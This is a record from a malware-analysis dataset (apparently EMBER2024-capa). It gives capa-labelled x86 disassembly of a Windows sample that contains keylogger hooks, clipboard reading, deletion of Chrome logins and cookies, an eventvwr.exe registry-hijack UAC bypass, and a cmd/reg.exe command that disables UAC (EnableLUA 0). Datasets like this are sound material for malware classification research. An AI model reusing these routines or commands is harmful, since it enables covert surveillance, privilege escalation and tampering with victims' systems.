joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030ec
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
cmp dword [0x41b158], ebx
push esi
push edi
je 0x403106
push 1
jmp 0x4031f2
call fcn.004032b3
cmp eax, 0x3a9f
jge 0x4031f3
push ebx
push 0x415664
push str.mscfile_shellopencommand
lea eax, [ebp - 0x14]
push closesocket
push eax
call fcn.0040b522
add esp, 0x14
mov esi, 0x41bcc0
mov ecx, esi
push 3
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
inc eax
lea ecx, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.origmsc
mov ecx, 0x41ba38
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov edi, closesocket
push eax
push edi
call fcn.0040b8f8
add esp, 0x20
lea eax, [ebp - 1]
push 2
sub esp, 0x10
mov ecx, esp
push eax
push 0x41ba5c
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
mov esi, 0x415800
push esi
push 0x4157a8
push edi
call fcn.0040b7b9
push str.eventvwr.exe
lea eax, [ebp - 0x24]
push 0x34
push eax
call fcn.0041358b
add esp, 0x2c
lea ecx, [ebp - 0x24]
push ebx
push esi
push esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x4031de
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404ea7
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x414224
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, 0x41b8d8
mov ecx, esi
call fcn.00404f6f
cmp edi, eax
jae 0x404f27
push edi
mov ecx, esi
call fcn.00404f85
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x404f1b
push edi
mov ecx, esi
call fcn.00404f85
mov eax, dword [eax + 8]
push dword [eax]
call sub.WS2_32.dll_closesocket
push 0
push edi
mov ecx, esi
call fcn.00404f85
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
call fcn.0040a277
lea ecx, [edi + edi*2]
lea eax, [eax + ecx*4]
push eax
mov ecx, esi
call fcn.00404fb2
inc edi
mov dword [ebp - 0x14], edi
jmp 0x404ec7
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405180
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
lea eax, [ebp + 8]
push edi
push eax
lea ecx, [ebx + 0x54]
mov byte [ebx + 0x3c], 1
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, ebx
call fcn.00405156
cmp byte [0x41b154], 0x32
mov esi, str.Offline_Keylogger_Started
je 0x4051c6
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push esi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, ebx
call fcn.00405dd3
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push esi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.0041203b
add esp, 0x20
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor esi, esi
push esi
push esi
push ebx
push 0x40528a
push esi
push esi
call edi
cmp dword [ebx], esi
jne 0x405216
push esi
push esi
push ebx
push 0x40526a
push esi
push esi
call edi
push esi
push esi
push ebx
push 0x405299
push esi
push esi
call edi
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x405232
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x54]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
xor eax, eax
cmp byte [esi + 0x3c], al
jne 0x40525c
push eax
push eax
push esi
push 0x405279
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop esi
pop ebp
ret 0x10

Function at 0x4052d5
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [0x41b9a8], esi
cmp dword [esi], edi
jne 0x405300
push edi
push edi
push 0x4052ba
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
cmp dword [esi], edi
je 0x405327
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x405327
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x4052fc
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x405532
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x41b988]
push ebx
or eax, dword [0x41b98c]
push esi
push edi
mov esi, ecx
je 0x4055e3
xor ebx, ebx
mov byte [esi + 0x30], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x41b954
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4055b6
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
cmp ecx, dword [0x41b98c]
jb 0x4055ad
ja 0x405592
cmp eax, dword [0x41b988]
jb 0x4055ad
cmp byte [esi + 0x3c], bl
mov byte [esi + 0x30], 1
je 0x4055a2
mov ecx, esi
call fcn.00405d50
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4055b9
mov byte [esi + 0x30], bl
cmp byte [esi + 0x30], 1
je 0x40554d
cmp byte [esi + 0x3c], bl
jne 0x4055e3
cmp byte [0x41b154], 0x31
jne 0x4055e3
sub esp, 0x10
lea eax, [esi + 0x54]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.00405180
pop edi
pop esi
pop ebx
ret
Function at 0x405bc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp byte [esi + 0x3d], bl
jne 0x405c5d
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
mov edi, str.Online_Keylogger_Started
push eax
push edi
mov byte [esi + 0x3d], 1
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405dd3
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.0041203b
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x20
cmp byte [esi + 0x3c], bl
jne 0x405c4e
mov ecx, esi
call fcn.00405156
cmp dword [esi], ebx
jne 0x405c42
push ebx
push ebx
push esi
push 0x40526a
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x405299
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x4052a8
push ebx
push ebx
call edi
mov dword [esi + 0x28], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406bef
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x406c1b
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x406c1b
lea eax, [ebp - 1]
push eax
push esi
jmp 0x406c24
lea eax, [ebp - 1]
push eax
push 0x415664
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop esi
leave
ret 4
Function at 0x406cff
Capabilities:
Delete directory
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 0x54]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne bl
add esi, 0x64
push 0x415800
push esi
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
test al, al
pop ecx
je 0x406d3c
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov al, bl
pop esi
pop ebx
ret

Function at 0x406d41
Capabilities:
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
push 0
push 0x40528a
and byte [esi + 0x3c], 0
call edi
mov eax, dword [esi]
test eax, eax
je 0x406d71
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and dword [esi], 0
push 0
push 0x40526a
call edi
mov ecx, esi
call fcn.00406cff
pop edi
pop esi
ret
Function at 0x40710f
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push eax
push 0x415df0
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4071a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
dec eax
je 0x407199
dec eax
je 0x407170
xor bl, bl
jmp 0x4071c1
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.00407a90
add esp, 0x10
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x4071cc
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
jmp 0x407178
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.00407a90
add esp, 0x10
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x4071cf
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push eax
push 0x415df0
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407263
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
dec eax
je 0x407259
dec eax
je 0x407230
xor bl, bl
jmp 0x407281
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push str._n_Chrome_Cookies_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.00407a90
add esp, 0x10
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x40728c
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
jmp 0x407238
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._n_Chrome_Cookies_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.00407a90
add esp, 0x10
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x407a0a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov al, byte [ebp + 8]
imul ecx, ecx, 0xea60
push ebx
push esi
test al, al
push edi
mov byte [0x41b9b0], al
mov dword [0x41b9b4], ecx
je 0x407a77
and dword [ebp + 8], 0
mov ebx, 0x41601c
mov edi, 0x41ba38
push ebx
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, closesocket
push eax
push esi
call fcn.0040b47f
add esp, 0xc
test al, al
je 0x407a77
lea eax, [ebp + 8]
mov ecx, edi
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040b4c8
xor eax, eax
add esp, 0x10
cmp dword [ebp + 8], eax
je 0x407a79
xor al, al
jmp 0x407a8b
xor eax, eax
push eax
push eax
push eax
push 0x4078bb
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40a0e1
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x11
xor eax, eax
pop ecx
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
leave
ret
Function at 0x40ac8c
Capabilities:
Terminate process

Disassembly:
and byte [0x41bd84], 0
push ebx
push 0
push dword [0x41bd70]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x41bd70]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x40b47f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push esi
push eax
xor esi, esi
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b4c3
push edi
push esi
push esi
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
sete al
jmp 0x40b4c5
xor al, al
pop esi
pop ebp
ret

Function at 0x40b4c8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b51e
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
pop esi
leave
ret
xor al, al
leave
ret

Function at 0x40b522
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
xor ebx, ebx
cmp byte [ebp + 0x18], bl
lea eax, [ebp + 0x10]
mov dword [ebp - 4], 0x400
push eax
jne 0x40b545
push 0x20019
jmp 0x40b54a
push 0x20119
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40b58a
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
push ebx
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x1b]
push eax
lea eax, [ebp - 0x404]
push eax
jmp 0x40b593
lea eax, [ebp + 0x1b]
push eax
push 0x415664
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop ebx
leave
ret